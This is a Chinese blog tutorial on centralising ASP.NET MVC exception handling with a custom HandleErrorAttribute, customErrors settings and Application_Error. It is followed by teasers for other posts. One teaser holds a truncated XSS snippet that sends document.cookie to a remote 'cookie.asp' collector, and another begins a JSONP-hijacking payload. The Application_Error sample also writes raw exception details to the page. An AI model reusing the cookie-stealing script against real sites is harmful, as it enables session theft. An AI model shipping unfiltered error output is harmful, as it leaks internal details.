说一说MVC的CustomHandlerErrorAttribute(五)
九月第一篇,呵呵
前言:最近刚入职了一家公司,上司让我维护一个项目,我接手了看了一下项目,try catch 严重影响我的视觉,我直接通过vs插件将其try catch全部替换掉占位符,呵呵。
所以我特此写了这篇文章...
正本:有可能你在搞开发的时候在每个模块中都要try catch,这样不仅不优雅也非常累,看了这篇文章,你会有所收获,你将会从50行代码收缩成30行.当然这取决于你的逻辑。
在CustomHandlerErrorAttribute中要继承HandleErrorAttribute
HandleErrorAttribute.cs
#region 程序集 System.Web.Mvc, Version=5.2.4.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35
#endregion namespace System.Web.Mvc
{
[AttributeUsage(AttributeTargets.Class | AttributeTargets.Method, Inherited = true, AllowMultiple = true)]
public class HandleErrorAttribute : FilterAttribute, IExceptionFilter
{
public HandleErrorAttribute();
public Type ExceptionType { get; set; }
public string Master { get; set; }
public override object TypeId { get; }
public string View { get; set; }
public virtual void OnException(ExceptionContext filterContext);
}
}
人们常说虚方法都是可以重写的,也就是说你可以去扩展它.看代码CustomHandlerErrorAttribute.cs
为什么我在这里截图呢,我是害怕别人复制黏贴,当然这不是我小气,因为很多人百度 都太懒了,也希望你们尊重博主的劳动成功
这样只要程序抛出异常,或者错误就换到自定义错误过滤器,这种形式也可以叫做短路器,当然不只是包括action的行为,如果是ajax请求报错,我们直接返回json,例如服务器崩掉。我们看一下测试过程。为了测试方便我直接把IIS启动起来了。
我们先看一下最简单的出错:
public ActionResult ExceptionUnCatch()
{
throw new Exception("ExceptionCatch");
return View();
}
@{
ViewBag.Title = "ExceptionUnCatch";
} <h2>ExceptionUnCatch</h2>
结果
经过测试也是成功跳入我的自定义错误过滤器,通过给action添加特性,才会使ASP.NET MVC 的生命周期中包括了我的过滤器。但是我们看另一种情况.我们加上try catch 呢?
public ActionResult ExceptionCatch()
{
try
{
throw new Exception("ExceptionCatch...");
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
return View();
}
视图方面:
@{
ViewBag.Title = "ExceptionCatch";
} <h2>ExceptionCatch</h2>
可以发现错误被catch掉了,那如果我们在页面中抛出了异常呢.我们不去说view中会出什么异常,直接在代码中添加代码块<h1>@{throw new Exception("Exception View");}</h1>,经过我的测试,它也是成功的返回错误信息。
自习看过我的代码你会发现我在过滤器中添加了一个ajax请求的异常处理,我们简单的测试一下.在视图上定义了一个action 里面指向参数 我并没有那些控制器或action!!<h1>@Html.ActionLink("asdsa","asdsa")</h1>
结果
最后在FilterConfig.cs中对所有action生效
public static void RegisterGlobalFilters(GlobalFilterCollection filters)
{
filters.Add(new HandleErrorAttribute());
//filters.Add(new CustomAuthorizeAttribute());//3 全局注册,全部的控制器/action都生效
filters.Add(new CustomHandlerErrorAttribute());//
}
但是处理不到的情况就有了,例如在控制器构造函数中抛出异常或者说访问的url不存在
总来来说是因为它们是管道级别错误,不属于acton行为级别 ,这种情况我们只能借助配置项来对错误进行封装
在system.web中添加
<customErrors mode="On" defaultRedirect="~/Demo.html">
<error statusCode="" redirect="~/Demo.html"/>
</customErrors>
另一种方式可以在global.asax.cs中添加Application.error或许你应该懂了吧?
protected void Application_Error(object sender,EventArgs args)
{
var errorDetail = Server.GetLastError();
Context.Response.Write(errorDetail);
Server.ClearError();
}
总结:使用自定义错误过滤器配合全局错误就可以达到非常好的错误处理。
说一说MVC的CustomHandlerErrorAttribute(五)的更多相关文章
- ASP.NET MVC Model验证(五)
ASP.NET MVC Model验证(五) 前言 上篇主要讲解ModelValidatorProvider 和ModelValidator两种类型的自定义实现, 然而在MVC框架中还给我们提供了其它 ...
- ASP.NET MVC Model绑定(五)
ASP.NET MVC Model绑定(五) 前言 前面的篇幅对于IValueProvider的获取位置和所处的生成过程做了讲解,本篇将会对IValueProvider的使用做个基础的示例讲解,读完本 ...
- ASP.NET MVC Model元数据(五)
ASP.NET MVC Model元数据(五) 前言 在上一篇中我们描述了应用于Model上面的各种用于显示控制的特性类,在本篇中将详细的介绍这些特性类的应用,虽然它们跟Model元数据的直接关系并不 ...
- Mvc项目实例 MvcMusicStore 五
Mvc项目实例 MvcMusicStore 一Mvc项目实例 MvcMusicStore 二Mvc项目实例 MvcMusicStore 三Mvc项目实例 MvcMusicStore 四Mvc项目实例 ...
- 2017.3.31 spring mvc教程(五)Action的单元测试
学习的博客:http://elf8848.iteye.com/blog/875830/ 我项目中所用的版本:4.2.0.博客的时间比较早,11年的,学习的是Spring3 MVC.不知道版本上有没有变 ...
- ASP.NET MVC学习(五)之MVC原理解析
ASP.NET MVC 请求生命周期 生命周期步骤概览 当我们对ASP.NET MVC网站发出一个请求的时候,会发生5个主要步骤: 步骤1:创建RouteTable 当ASP.NET应用程序第一次启动 ...
- ASP.NET MVC学习---(五)MVC初体验
经过之前n多的铺垫 我们已经大概了解了这个姓m名vc的家伙了 那么今天我们就来体验一把 怎么体验呢? 就来做一个小例子吧~ mvc增删改查的例子 数据库还是之前我们的老朋友 关系图: 表中的数据已填好 ...
- MVC系列学习(十五)-验证码
1.方式一: public class VCode { /// <summary> /// 生成验证码图片 字节数组 /// </summary> /// <return ...
- 说一说MVC的MenuCard(五)
1.数据库设计 create database BookShop go use bookshop go --模块表 create table Module ( ModuleID ,), ModuleN ...
随机推荐
- Linux中jdk的安装配置
1.下载jdk安装包 2.解压文件:tar -zxvf jdk-8u211-linux-x64.tar.gz 3.编辑环境变量:vi /etc/profile 4.在环境变量文末添加三行: expor ...
- xss 加载远程第三方JS
script 没有调用远程平台,用web接收cookie <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.coo ...
- json劫持payload
<html> <head>jsonp hijacking</head> <body> <script> function jj(json){ ...
- Little Sub and Mr.Potato's Math Problem-构造
链接:http://acm.zju.edu.cn/onlinejudge/showProblem.do?problemId=5864 思路 : 判断小于它的合法的,再看大于它的合法的,特判10000. ...
- winform datagridview在添加全选checkbox时提示:不能设置 selected 或 selected 既不是表 Table 的 DataColumn 也不是 DataRelation。
在项目中,需要多选功能,于是在datagridview添加了一列DataGridViewCheckBoxColumn 在给datagridview绑定完数据集之后,对全选进行操作的时候,发现总报错,报 ...
- Linux多核并行编程关键技术
多核并行编程的背景 在摩尔定律失效之前,提升处理器性能通过主频提升.硬件超线程等技术就能满足应用需要.随着主频提升慢慢接近撞上光速这道墙,摩尔定律开始逐渐失效,多核集成为处理器性能提升的主流手段.现在 ...
- Javascript 获取文档元素
一.getElementById() 参数:id 属性,必须唯一. 返回:元素本身.若 id 不唯一,则返回第一个匹配的元素. 定义的位置:仅 document(即:除 document 之外的元素调 ...
- 编程菜鸟的日记-初学尝试编程-C++ Primer Plus 第6章编程练习6
#include <iostream> #include <string> using namespace std; const int MSIZE=100; struct j ...
- Java 跨平台原理
Java的跨平台基于编译器和虚拟机.其中,CPU处理器和操作系统的整体称为平台.编译器把源文件编译成与平台无关的基于Unicode的字节码class文件,虚拟机把该文件解释成与平台有关的机器码指令,可 ...
- Linux--Linux下安装JDk
好不容易免费使用了服务器,还不会安装JDK,记录一下怎么弄. 方法一:远程服务器可以联网下载(高级货) 命令: wget -c -P /root/jdk --no-check-certificate ...